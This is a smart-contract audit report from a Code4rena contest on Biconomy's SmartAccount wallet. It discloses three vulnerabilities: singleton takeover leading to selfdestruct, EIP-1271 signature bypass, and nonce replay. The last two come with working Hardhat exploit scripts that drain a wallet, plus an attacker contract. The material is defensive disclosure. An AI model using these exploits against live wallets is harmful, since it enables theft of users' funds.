Biconomy - Smart Contract Wallet contest - ro's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166

Vulnerability details

Impact

The singleton contract (SmartAccount.sol) does not have any protection to prevent being initialized after deployment .

We can initialize it later on by calling the "init" function:

 function init(
        address _owner,
        address _entryPointAddress,
        address _handler
    ) public override initializer

Once we choose an owner that we control, we self-destruct the base contract, leaving 100% of all the wallets unusable (the master copy won't have any code).

Attack vector

Once we have control of the singleton, we execute a transaction to an address that contains the "selfdestruct" opcode, with delegate call.

function destroy() public payable {
        selfdestruct(address(0x1231));
    }

Recommended Mitigation Steps

Create a constructor within the base contract (SmartAccount.sol) and set the owner to "address(this)" so it becomes unusable.

 constructor() {
        owner = address(this);
    }

This has no implication what so ever to the proxies deployed, (the constructor only applies to the base contract). This will be mitigated because the init function checks that owner is address(0):

 require(owner == address(0), "Already initialized");

Therefore the singleton won't be initializable later on.

See gnosis safe similar mitigation strategy: https://github.com/safe-global/safe-contracts/blob/main/contracts/GnosisSafe.sol#L59

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314

Vulnerability details

Impact

The "checkSignatures" function makes sure that the provided signatures a) correspond to the wallet's owner and b) the data is hashed properly according to the transaction information.

The vulnerability lies when validating for contract signatures (EIP1271).

The contract never checks that the signer is a wallet owner as we can see:

require(
                ISignatureValidator(_signer).isValidSignature(
                    data,
                    contractSignature
                ) == EIP1271_MAGIC_VALUE,
                "BSA024"
            );

In order to exploit this, we just create a contract that returns the magic value, and pass that contract address as signer (encoded into r).

Proof of Concept

Here is a complete proof of concept that exploits this vulnerability:

import { expect } from "chai";
import { deployments, ethers } from "hardhat";
import type { Contract, Signer } from "ethers";


describe("Attack", function () {
  let owner: Signer;
  let receiver: Signer;
  let wallet: Contract;

  this.beforeEach(async () => {
    [owner, receiver] = await ethers.getSigners();

    // We use the singleton for proof of concept
    // This can be applied to any other proxy wallet.
    const Wallet = await ethers.getContractFactory("SmartAccount");
    wallet = await Wallet.deploy();
    const entryPoint = ethers.Wallet.createRandom().address;
    const handler = ethers.Wallet.createRandom().address;
    await wallet.init(await owner.getAddress(), entryPoint, handler);
  });

  it("non-owner account should pass signature verification when v is 0", async () => {
    expect(await wallet.owner()).to.equal(await owner.getAddress());

    const tx = {
      to: await receiver.getAddress(),
      value: ethers.utils.parseEther("2"),
      data: "0x",
      operation: 0,
      targetTxGas: 100000,
    };
    const batchId = 0;
    const feeRefund = {
      baseGas: 0,
      gasPrice: 0,
      tokenGasPriceFactor: ethers.constants.AddressZero,
      gasToken: ethers.constants.AddressZero,
      refundReceiver: ethers.constants.AddressZero,
    };

    // we fund the wallet.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
    await owner.sendTransaction({
      to: wallet.address,
      value: ethers.utils.parseEther("2"),
    });
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(
      ethers.utils.parseEther("2")
    );

    // The attacker contract, just returns the magic value for
    // "isValidSignature" (eip1271)
    const Attacker = await ethers.getContractFactory("Attacker");
    const attacker = await Attacker.deploy();
    
    // WE CREATE THE CONTRACT SIGNATURE
    // When v is 0, there is not a check that ensures that the returned
    // signer is a wallet owner.
    
    // Signer is encoded into r.
    const r = "000000000000000000000000" + attacker.address.replace("0x", "");
    
    const s = "0000000000000000000000000000000000000000000000000000000000000041";
    const v = "00";
    let signature = "0x" + r + s + v;
    signature += "00000000000000000000000000000000000000000000000000000000000000000000000000"

    // We empty the wallet.
    await wallet.execTransaction(tx, batchId, feeRefund, signature);

    // Should be emptied out. 
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
  });
});

Here is the attacker contract:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;


contract Attacker {
    // We just return the magic value. 
    function isValidSignature(bytes calldata, bytes calldata) external view returns (bytes4) {
        return 0x20c13b0b;
    }
}

Tools Used

Hardhat

Recommended Mitigation Steps

Create a require statement (or custom error) that validates that the signer is an owner:

require(
                ISignatureValidator(_signer).isValidSignature(
                    data,
                    contractSignature
                ) == EIP1271_MAGIC_VALUE,
                "BSA024"
            );
            require(_signer == owner, "Not owner");

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L205

Vulnerability details

Impact

The 'execTransaction' function is vulnerable to replay attacks.

This is the part that we are interested in:

bytes memory txHashData = encodeTransactionData(
                // Transaction info
                _tx,
                // Payment info
                refundInfo,
                // Signature info
                nonces[batchId]
            );
            // Increase nonce and execute transaction.
            // Default space aka batchId is 0
            nonces[batchId]++;
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);

The nonce is increased without sanitizing the "batchId" input:

nonces[batchId]++;

It increase the provided batchId without doing hard checks on the provided key. If we provide a higher key (batchId) then the resulted nonce will be the same.

Attack vector: We can replay past transaction by just providing a higher batchId, without changing anything else. This will output the same nonce:

nonces[batchId]

And therefore allowing an attacker to drain the user funds by using a past transaction multiple times.

A full poc reproduction can be found below.

Proof of Concept

A complete reproducible proof of concept:

import { expect } from "chai";
import { deployments, ethers } from "hardhat";
import type { Contract, Signer } from "ethers";

async function sign(signer: Signer, hash: string): Promise<string> {
  const typedDataHash = ethers.utils.arrayify(hash);
  const signature = (await signer.signMessage(typedDataHash))
    .replace(/1b$/, "1f")
    .replace(/1c$/, "20");
  return signature;
}

describe("Attack", function () {
  let owner: Signer;
  let receiver: Signer;
  let wallet: Contract;

  this.beforeEach(async () => {
    [owner, receiver] = await ethers.getSigners();

    // We use the singleton for proof of concept
    // This can be applied to any other proxy wallet.
    const Wallet = await ethers.getContractFactory("SmartAccount");
    wallet = await Wallet.deploy();
    const entryPoint = ethers.Wallet.createRandom().address;
    const handler = ethers.Wallet.createRandom().address;
    await wallet.init(await owner.getAddress(), entryPoint, handler);
  });
  it("should replay the transaction with the same signature", async () => {
    expect(await wallet.owner()).to.equal(await owner.getAddress());

    const tx = {
      to: await receiver.getAddress(),
      value: ethers.utils.parseEther("1"),
      data: "0x",
      operation: 0,
      targetTxGas: 100000,
    };
    const batchId = 0;
    const feeRefund = {
      baseGas: 0,
      gasPrice: 0,
      tokenGasPriceFactor: ethers.constants.AddressZero,
      gasToken: ethers.constants.AddressZero,
      refundReceiver: ethers.constants.AddressZero,
    };

    // we fund the wallet.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
    await owner.sendTransaction({
      to: wallet.address,
      value: ethers.utils.parseEther("2"),
    });
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(
      ethers.utils.parseEther("2")
    );

    // We get the transaction hash.
    const hash = await wallet.getTransactionHash(
      tx.to,
      tx.value,
      tx.data,
      tx.operation,
      tx.targetTxGas,
      feeRefund.baseGas,
      feeRefund.gasPrice,
      feeRefund.tokenGasPriceFactor,
      feeRefund.gasToken,
      feeRefund.refundReceiver,
      batchId
    );

    // We sign the transaction.
    const signature = await sign(owner, hash);

    // We execute the first transaction.
    await wallet.execTransaction(tx, batchId, feeRefund, signature);
    // the wallet should have 1 eth.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(
      ethers.utils.parseEther("1")
    );

    // We execute the second transaction with the exact same signature, we just change the batchId.

    // Replay attack.
    await wallet.execTransaction(tx, 1, feeRefund, signature);

    // Wallet drained.
    expect(await ethers.provider.getBalance(wallet.address)).to.equal(0);
  });
});

Tools Used

Hardhat

Recommended Mitigation Steps

In the following list, there are 2 mitigation strategies to avoid this attack:

1. Fixate the 2d nonces to the key 0, so it matches the "_validateAndUpdateNonce" function:

require(nonces[0]++ == userOp.nonce, "account: invalid nonce");

The "batchId" parameter from the "execTransaction" function will need to be removed and the key fixed as follows:

function execTransaction(
        Transaction memory _tx,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
        // initial gas = 21k + non_zero_bytes * 16 + zero_bytes * 4
        //            ~= 21k + calldata.length * [1/3 * 16 + 2/3 * 4]
        uint256 startGas = gasleft() + 21000 + msg.data.length * 8;
        //console.log("init %s", 21000 + msg.data.length * 8);
        bytes32 txHash;
        // Use scope here to limit variable lifetime and prevent `stack too deep` errors
        {
            bytes memory txHashData = encodeTransactionData(
                // Transaction info
                _tx,
                // Payment info
                refundInfo,
                // Signature info
                nonces[0]++ / / we increase the nonce here
            );
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);
        }

2. Eliminate 2d nonces and just stick with regular "uint256" nonce (same as gnosis safe).